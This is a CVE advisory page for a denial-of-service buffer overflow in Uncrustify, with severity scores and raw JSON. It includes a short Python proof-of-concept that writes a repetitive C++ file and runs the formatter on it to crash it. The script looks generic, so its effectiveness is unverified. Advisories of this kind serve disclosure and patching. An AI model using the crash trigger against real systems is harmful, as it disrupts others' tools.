Security Vulnerability Report
中文
CVE-2026-36189 CVSS 6.2 MEDIUM

CVE-2026-36189

Published: 2026-05-21 15:16:25
Last Modified: 2026-05-21 16:16:23

Description

Buffer Overflow vulnerability in Uncrustify Project Affected v.Uncrustify_d-0.82.0-132-bcc41cbdc and Fixed in commit 68e67b9a1435a1bb173b106fedb4a4f510972bdc allows a local attacker to cause a denial of service via the check_template.cpp, check_template function, tokenize_cleanup function, uncrustify executable components

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Uncrustify v.Uncrustify_d-0.82.0-132-bcc41cbdc

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os # Generate a malicious C++ file that triggers the buffer overflow # in the check_template function of Uncrustify. malicious_content = """ // Malicious input to trigger buffer overflow in check_template.cpp template <typename T> class Class {}; // Crafting specific pattern to overflow the buffer during cleanup """ * 10000 filename = "crash_test.cpp" with open(filename, "w") as f: f.write(malicious_content) print(f"[+] Created malicious file: {filename}") # Execute Uncrustify with the malicious file # Replace '/path/to/uncrustify' with the actual path to the vulnerable binary uncrustify_path = "uncrustify" if os.path.exists(uncrustify_path): os.system(f"{uncrustify_path} {filename}") print("[+] Triggered the crash.") else: print(f"[-] {uncrustify_path} not found. Please provide the correct path.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36189", "sourceIdentifier": "[email protected]", "published": "2026-05-21T15:16:24.500", "lastModified": "2026-05-21T16:16:22.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in Uncrustify Project Affected v.Uncrustify_d-0.82.0-132-bcc41cbdc and Fixed in commit 68e67b9a1435a1bb173b106fedb4a4f510972bdc allows a local attacker to cause a denial of service via the check_template.cpp, check_template function, tokenize_cleanup function, uncrustify executable components"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://gist.github.com/Criticayon/5da6d6c9cf068e494347c659d01982a9", "source": "[email protected]"}, {"url": "https://github.com/uncrustify/uncrustify%2Chttps://github.com/uncrustify/uncrustify/issues/4636%2C", "source": "[email protected]"}, {"url": "https://github.com/uncrustify/uncrustify/pull/4641", "source": "[email protected]"}]}}